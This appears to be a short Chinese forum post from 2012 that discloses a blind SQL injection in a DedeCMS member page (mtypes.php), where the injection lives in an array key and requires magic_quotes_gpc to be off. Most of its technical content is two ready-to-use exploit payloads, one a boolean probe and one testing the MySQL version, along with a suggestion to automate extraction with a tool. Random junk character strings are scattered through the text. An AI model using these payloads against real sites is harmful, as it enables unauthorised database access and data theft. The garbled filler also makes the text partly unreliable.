需要magic_quotes_gpc = Off,所以说是鸡肋啊.
( g& X: W5 Q0 g4 v/ r+ [
v) N1 Q. T: h* H9 r 7 X3 I" d# I& m; |0 L. j1 T, i j
发生在数组key里的注射漏洞,有点意思.% H+ B: W) k4 O7 v3 `
* P Y0 ^( J1 N. \这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下. n3 R+ W; L' m0 D+ Y8 X" w
$ P, p! V5 E9 b2 ~) b: b7 s0 Y
http://www.xxx.com /dede/member/mtypes.php?dopost=save! K# m3 g* W5 `0 t4 K* Y9 U& [ R
2 h; P! l" F; A, i" f8 M1 B" |
exploit:( ?1 g" U+ B! u8 G ?) }
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r/ P2 L0 D$ A9 V# T3 O- v
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r7 d, C* a$ e7 U$ ?7 o
|
发表于 2012-12-20 08:08:09
收藏
支持
反对